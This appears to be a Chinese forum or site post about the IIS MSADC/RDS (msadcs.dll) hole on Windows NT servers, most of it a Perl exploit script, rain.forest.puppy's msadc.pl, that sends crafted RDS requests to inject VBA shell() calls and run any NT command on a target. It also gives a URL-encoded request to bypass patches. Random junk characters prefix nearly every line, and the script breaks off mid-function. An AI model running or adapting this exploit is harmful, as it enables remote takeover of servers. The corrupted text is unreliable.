IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
]%Q]C
8[C w7*b}D@65\ 涉及程序:
P/1UCITq} Microsoft NT server
|<+|Du1 L]L~TA<D9i 描述:
@e?[oojrM 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
i1_>>49* Kj1#R 详细:
}:c,SO! 如果你没有时间读详细内容的话,就删除:
7&;jje[
<g c:\Program Files\Common Files\System\Msadc\msadcs.dll
;]#4p8lh+ 有关的安全问题就没有了。
;o)`9<es!2 .KwuhmR 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
a@a1TpLQ %\zCOfN 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
l_q>(FoqA 关于利用ODBC远程漏洞的描述,请参看:
[:hy L_zmU_zD http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [Yahxw} (82\&dfy 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
g$^qQs)^N http://www.microsoft.com/security/bulletins/MS99-025faq.asp GYb2m"a) Xw}Y!;<IEu 这里不再论述。
yM#trqv5 5,
"^"*@< 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
-z~ V 3PR7g /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
tx&U"] 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
`S~@ FX j}?ZsnqV .X=M! #将下面这段保存为txt文件,然后: "perl -x 文件名"
B+q+)O+ n+F-,=0 #!perl
(+Nmio #
$> rfAs! # MSADC/RDS 'usage' (aka exploit) script
!=Kay^J~. #
x;?1#W # by rain.forest.puppy
5SWX v+ #
CO)b'V, # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
]v,y(yl # beta test and find errors!
]!Aze^7; ~JmxW;|_x) use Socket; use Getopt::Std;
\g6 #MNW getopts("e:vd:h:XR", \%args);
o)'=D( }${ZI print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ALt";8Oa ~\s &]L if (!defined $args{h} && !defined $args{R}) {
.2 SIU4[P print qq~
XJ1nhE Usage: msadc.pl -h <host> { -d <delay> -X -v }
[j+0EVwB -h <host> = host you want to scan (ip or domain)
+so o2cb -d <seconds> = delay between calls, default 1 second
y7G|P~td -X = dump Index Server path table, if available
]O(HZD% -v = verbose
9(evHR7 -e = external dictionary file for step 5
VA
r?teY uKAHJ$% Or a -R will resume a command session
_G8y9!J _itN.^ ~; exit;}
AJ1$$c z'}t@R#H $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
/s0VyUV= if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
89e.\EH if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
;\&bvGj8V if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
f'yd{ihFp $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
l aL4ez if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
:Y?08/V =Q0)t_z_ if (!defined $args{R}){ $ret = &has_msadc;
*oJ>4S die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
5lA 8e ^@w1Z{: print "Please type the NT commandline you want to run (cmd /c assumed):\n"
_
~$0cj< . "cmd /c ";
NU\t3JaR $in=<STDIN>; chomp $in;
(8X8<>w~ $command="cmd /c " . $in ;
KNyD}1 S5 oHe4#89 if (defined $args{R}) {&load; exit;}
|;1:$E" l:C0:m% print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
}8KL]11b &try_btcustmr;
!-o||rt &CsBG?@Z| print "\nStep 2: Trying to make our own DSN...";
R =c &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
#^[N4uV 6h*bcb#C print "\nStep 3: Trying known DSNs...";
J3JRWy@?P &known_dsn;
iQR})=Q Fi=8B&j print "\nStep 4: Trying known .mdbs...";
SmEd'YD!J &known_mdb;
\z?;6A 6Kc7@oO~ if (defined $args{e}){
NOr*+N\ print "\nStep 5: Trying dictionary of DSN names...";
-Z&{$J &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
+|w~j#j9` mZ&Mj.0+~ print "Sorry Charley...maybe next time?\n";
_4#psxl[M exit;
83(P_Y: ng6p#F,3 ##############################################################################
I8>1RXz `\uv+^x{ sub sendraw { # ripped and modded from whisker
pKlT.<X7 sleep($delay); # it's a DoS on the server! At least on mine...
S|h
m my ($pstr)=@_;
z4UQ:z@ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
`^h##WaXap die("Socket problems\n");
@G{DOxE* if(connect(S,pack "SnA4x8",2,80,$target)){
|#kf.kN select(S); $|=1;
gV>\lMc[-% print $pstr; my @in=<S>;
i-W2!;G select(STDOUT); close(S);
$1
\!Oe[i return @in;
'bO? =+c } else { die("Can't connect...\n"); }}
8LKZ3Y| lLf01sa4 ##############################################################################
]/naH#8G J}u1\Id% sub make_header { # make the HTTP request
\ku{-^7 my $msadc=<<EOT
AlhiF\+ C POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ZDD|MH User-Agent: ACTIVEDATA
5gEWLLDp Host: $ip
8jx1W9=`9[ Content-Length: $clen
TzXl ?N Connection: Keep-Alive
v wD(J.; DKCy h` ADCClientVersion:01.06
h--!pE+ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
R;ug+N IbQ~f+y&2 --!ADM!ROX!YOUR!WORLD!
)ciHY6 Content-Type: application/x-varg
pLcng[ Content-Length: $reqlen
_n gMC]-T nuA!Jln_ EOT
GlZDuU ; $msadc=~s/\n/\r\n/g;
Kf5 p*AI return $msadc;}
_kLoDju% C#0Wo ##############################################################################
'2#fkH[. >>xV-1h: sub make_req { # make the RDS request
*(IO<KAg8 my ($switch, $p1, $p2)=@_;
" <AljgF my $req=""; my $t1, $t2, $query, $dsn;
FeMu`|2 <K'gvMG[ if ($switch==1){ # this is the btcustmr.mdb query
(#Aq*2Z. $query="Select * from Customers where City=" . make_shell();
;OyM~T gI $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
sva$@y7b $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
\2b9A'd> Ut =y`]F elsif ($switch==2){ # this is general make table query
K`<P^XJr $query="create table AZZ (B int, C varchar(10))";
GUXX|W[6 $dsn="$p1";}
xFnMXht F,:VL*.5kJ elsif ($switch==3){ # this is general exploit table query
sl 5wX $query="select * from AZZ where C=" . make_shell();
+w5?{J $dsn="$p1";}
2>s;xZ@/'R ugP R)tDfM elsif ($switch==4){ # attempt to hork file info from index server
?[">%^ $query="select path from scope()";
4 XQ?By $dsn="Provider=MSIDXS;";}
U7=Z.*/62 _Pal)re]U elsif ($switch==5){ # bad query
y_#wR/E)u{ $query="select";
=ByW` $dsn="$p1";}
(*]Y<ve hn.fX:} $t1= make_unicode($query);
mqw.v$> $t2= make_unicode($dsn);
~3 (>_r $req = "\x02\x00\x03\x00";
ha5\T' $req.= "\x08\x00" . pack ("S1", length($t1));
_,Y79 b6 $req.= "\x00\x00" . $t1 ;
hT#mM*` $req.= "\x08\x00" . pack ("S1", length($t2));
H[Cn@XE $req.= "\x00\x00" . $t2 ;
@gz?T;EC $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
4|thDb)] return $req;}
`^[ra%a V5MbWXgR ##############################################################################
Hua8/:![+ h,g~J-x`| sub make_shell { # this makes the shell() statement
ZAwl,N){ return "'|shell(\"$command\")|'";}
w@We,FUJN z_TK
(;j ##############################################################################
yfrgYA 8%Lg)hvl sub make_unicode { # quick little function to convert to unicode
7Cjrh"al" my ($in)=@_; my $out;
J)]W[Nk for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
@<L.#gtP return $out;}
CqV
\:50g $mlcaH ##############################################################################
]&>)=b!, #96a7K sub rdo_success { # checks for RDO return success (this is kludge)
;Wdo* ysW my (@in) = @_; my $base=content_start(@in);
40XI\yE_? if($in[$base]=~/multipart\/mixed/){
N1rrKyL!$ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
COafVlJ,l return 0;}
\D=B-dREq J/Li{xp)Lg ##############################################################################
lki(_@3
8:MYeE5 sub make_dsn { # this makes a DSN for us
Q@R8qc=* my @drives=("c","d","e","f");
(%1*<6ka print "\nMaking DSN: ";
*:(t.iL foreach $drive (@drives) {
$fKWB5p|() print "$drive: ";
lk|/N^8M my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
4M}/PoJ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
<:w7^m . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
zFIbCv8 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
(WC<X Kf return 0 if $2 eq "404"; # not found/doesn't exist
M-_)CR if($2 eq "200") {
sr4K-|@ foreach $line (@results) {
6822xk return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
tp"\ } return 0;}
e_SlM=_u _+i-) ##############################################################################
l_WY];a jBM>Pe^`3 sub verify_exists {
$8)/4P?OL my ($page)=@_;
#@G2n@Hj my @results=sendraw("GET $page HTTP/1.0\n\n");
}V{,
kK return $results[0];}
iVRz 'J}lnt[V ##############################################################################
9 +6"<r! H;8(y4; sub try_btcustmr {
Qk=
w ,` my @drives=("c","d","e","f");
4p]Y`];U my @dirs=("winnt","winnt35","winnt351","win","windows");
%{Gqhb=u\ 5"+* c@L foreach $dir (@dirs) {
i~4Kek6,I print "$dir -> "; # fun status so you can see progress
S1."2AxO foreach $drive (@drives) {
s*;~CH-[ print "$drive: "; # ditto
UOyP6ej $reqlen=length( make_req(1,$drive,$dir) ) - 28;
U4gZW]F $reqlenlen=length( "$reqlen" );
`#hy'S:e
$clen= 206 + $reqlenlen + $reqlen;
2mRso.Ah XB?!V|bno my @results=sendraw(make_header() . make_req(1,$drive,$dir));
KE_Ze\P if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
pR$c<p else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
\hz)oC U1Oq"Ij~ ##############################################################################
|kn}iA@72p @0G}Q sub odbc_error {
O3Uu{'=0 my (@in)=@_; my $base;
8^T' a^Wt my $base = content_start(@in);
_Uq'eZol if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
R9HRbVBJf $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"3K0 wR5 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<"-sN $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|67UN U return $in[$base+4].$in[$base+5].$in[$base+6];}
*m7e>]- print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
ZISR]xay print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
V:lDR20*\ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
"H({kmR m$kmoY/ ##############################################################################
6-o Qs? `
H"5nQRV sub verbose {
NQb?&.C my ($in)=@_;
8/=2N return if !$verbose;
L.5GX 29 print STDOUT "\n$in\n";}
c;WS !. w v1R
]3} ##############################################################################
TS-[p d (mzyA%;W sub save {
_&T$0SZco my ($p1, $p2, $p3, $p4)=@_;
2iUF%> open(OUT, ">rds.save") || print "Problem saving parameters...\n";
@{bf]Oc print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
!"wIb.j}0 close OUT;}
QRRZMdEGs[ up`6IWlLE ##############################################################################
_*+M'3&= yO !*pC sub load {
h0GXN\xI my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
hAY_dM open(IN,"<rds.save") || die("Couldn't open rds.save\n");
[=iq4F'7 @p=<IN>; close(IN);
f"[C3o2P $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
(Fu9lW}n $target= inet_aton($ip) || die("inet_aton problems");
35ng_,t$ print "Resuming to $ip ...";
</fzBaTo $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
V3UEuA if($p[1]==1) {
]$7|1-&Y $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
=[P || $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
f}fM%0/5 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
bv+PbK]iO if (rdo_success(@results)){print "Success!\n";}
n9#@
e}r else { print "failed\n"; verbose(odbc_error(@results));}}
wBr0s*1I elsif ($p[1]==3){
Z$q}y
79^ if(run_query("$p[3]")){
Ay{4R print "Success!\n";} else { print "failed\n"; }}
]WS 7l@ elsif ($p[1]==4){
{P*RA'H3G if(run_query($drvst . "$p[3]")){
u+ -}| print "Success!\n"; } else { print "failed\n"; }}
a+Z/=YUR exit;}
Y,+$vj:y8 CzwnmSv{. ##############################################################################
H7uW|'XWz +UB. M sub create_table {
KjhOz%Yt[o my ($in)=@_;
S -im
o $reqlen=length( make_req(2,$in,"") ) - 28;
H:CwUFL $reqlenlen=length( "$reqlen" );
VH8,!# Q; $clen= 206 + $reqlenlen + $reqlen;
i#
QI}r my @results=sendraw(make_header() . make_req(2,$in,""));
$:>K-4X\} return 1 if rdo_success(@results);
ZN.
#g_ my $temp= odbc_error(@results); verbose($temp);
(u~@@d" return 1 if $temp=~/Table 'AZZ' already exists/;
Cjw|.c` return 0;}
1v`*%95 _- { > e ##############################################################################
]":PO4M$* ,Q^.SHP8 sub known_dsn {
}4$UlTA' # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
. }^m8PP my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
vzfWPjpKW "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Nkc=@l{ "banner", "banners", "ads", "ADCDemo", "ADCTest");
/W fpA\4S 0;)4.*t
foreach $dSn (@dsns) {
|TkO'QN print ".";
|A"zxNeS" next if (!is_access("DSN=$dSn"));
xw`Pq6 if(create_table("DSN=$dSn")){
gx3arVa print "$dSn successful\n";
<_h if(run_query("DSN=$dSn")){
"zv?qS print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
hivWQ$6% print "Something's borked. Use verbose next time\n";}}} print "\n";}
X'O3)Yg Wq]^1g_ ##############################################################################
M4`qi3I Fvg>>HVu sub is_access {
,XR1N$LN8_ my ($in)=@_;
3~Ah8, $reqlen=length( make_req(5,$in,"") ) - 28;
[V
=O$X_ $reqlenlen=length( "$reqlen" );
p?ICZg: $clen= 206 + $reqlenlen + $reqlen;
xse8fGs my @results=sendraw(make_header() . make_req(5,$in,""));
8^kw my $temp= odbc_error(@results);
dtJ?J<m} verbose($temp); return 1 if ($temp=~/Microsoft Access/);
{"-uaH>, return 0;}
3b~k)t4R J#MUtpPdQ ##############################################################################
l7\Bq+Q I_\j05 sub run_query {
ih~ R?W my ($in)=@_;
!?,rcgi $reqlen=length( make_req(3,$in,"") ) - 28;
2Lm.;l4YO $reqlenlen=length( "$reqlen" );
qEE
V& $clen= 206 + $reqlenlen + $reqlen;
NU O9, my @results=sendraw(make_header() . make_req(3,$in,""));
/alJN`g return 1 if rdo_success(@results);
i,ga2{GnM my $temp= odbc_error(@results); verbose($temp);
Ub3^Js!b% return 0;}
`i;f <8~bb-U$ ##############################################################################
M/T
ll]\| BVU>M*k sub known_mdb {
q9|'!m5K my @drives=("c","d","e","f","g");
`5:b=^'D/ my @dirs=("winnt","winnt35","winnt351","win","windows");
8a)lrIg my $dir, $drive, $mdb;
mSr(PIH{\ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
PCtf&U